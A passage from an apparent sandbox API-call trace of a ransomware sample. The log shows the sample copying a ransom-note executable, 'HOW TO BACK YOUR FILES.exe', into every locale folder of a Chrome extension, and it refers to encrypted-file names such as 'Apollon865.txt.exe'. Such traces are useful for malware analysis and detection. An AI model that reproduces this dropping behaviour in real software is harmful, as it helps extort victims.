	[0049.144] lstrcatW (in: lpString1="", lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\ru" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\ru") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\ru"
	[0049.144] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0049.144] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\ru\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\ru\\how to back your files.exe"), bFailIfExists=1) returned 1
	[0049.150] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0049.150] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\ru\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x852b04f0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x355e1f30, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x355e1f30, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca050
	[0049.150] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0049.150] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0049.150] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\ro", iMaxLength=260 | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\ro") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\ro"
	[0049.150] lstrcatW (in: lpString1="", lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\ro" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\ro") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\ro"
	[0049.150] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0049.150] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\ro\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\ro\\how to back your files.exe"), bFailIfExists=1) returned 1
	[0049.154] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0049.154] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\ro\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x852b04f0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x355e1f30, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x355e1f30, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca050
	[0049.154] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0049.154] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0049.154] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\pt_PT", iMaxLength=260 | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\pt_PT") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\pt_PT"
	[0049.154] lstrcatW (in: lpString1="", lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\pt_PT" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\pt_PT") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\pt_PT"
	[0049.154] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0049.154] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\pt_PT\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\pt_pt\\how to back your files.exe"), bFailIfExists=1) returned 1
	[0049.161] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0049.161] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\pt_PT\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x852b04f0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x355e1f30, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x355e1f30, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca050
	[0049.161] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0049.161] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0049.161] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\pt_BR", iMaxLength=260 | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\pt_BR") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\pt_BR"
	[0049.161] lstrcatW (in: lpString1="", lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\pt_BR" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\pt_BR") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\pt_BR"
	[0049.161] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0049.161] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\pt_BR\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\pt_br\\how to back your files.exe"), bFailIfExists=1) returned 1
	[0049.165] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0049.166] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\pt_BR\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x8528a390, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x35608090, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x35608090, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca050
	[0049.166] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0049.166] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0049.166] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\pl", iMaxLength=260 | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\pl") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\pl"
	[0049.166] lstrcatW (in: lpString1="", lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\pl" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\pl") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\pl"
	[0049.166] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0049.166] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\pl\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\pl\\how to back your files.exe"), bFailIfExists=1) returned 1
	[0049.171] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0049.171] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\pl\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x8528a390, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x35608090, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x35608090, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca050
	[0049.171] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0049.171] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0049.171] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\no", iMaxLength=260 | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\no") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\no"
	[0049.171] lstrcatW (in: lpString1="", lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\no" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\no") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\no"
	[0049.171] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0049.171] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\no\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\no\\how to back your files.exe"), bFailIfExists=1) returned 1
	[0049.183] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0049.183] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\no\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x8528a390, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x35608090, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x35608090, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca050
	[0049.183] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0049.183] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0049.183] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\nl", iMaxLength=260 | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\nl") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\nl"
	[0049.183] lstrcatW (in: lpString1="", lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\nl" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\nl") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\nl"
	[0049.183] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0049.183] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\nl\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\nl\\how to back your files.exe"), bFailIfExists=1) returned 1
	[0049.188] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0049.188] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\nl\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x8528a390, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x3562e1f0, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x3562e1f0, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca050
	[0049.189] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0049.189] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0049.189] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\lv", iMaxLength=260 | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\lv") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\lv"
	[0049.189] lstrcatW (in: lpString1="", lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\lv" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\lv") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\lv"
	[0049.189] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0049.189] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\lv\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\lv\\how to back your files.exe"), bFailIfExists=1) returned 1
	[0049.193] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0049.193] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\lv\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x8528a390, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x35654350, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x35654350, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca050
	[0049.193] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0049.193] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0049.193] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\lt", iMaxLength=260 | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\lt") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\lt"
	[0049.193] lstrcatW (in: lpString1="", lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\lt" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\lt") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\lt"
	[0049.193] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0049.193] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\lt\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\lt\\how to back your files.exe"), bFailIfExists=1) returned 1
	[0049.198] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
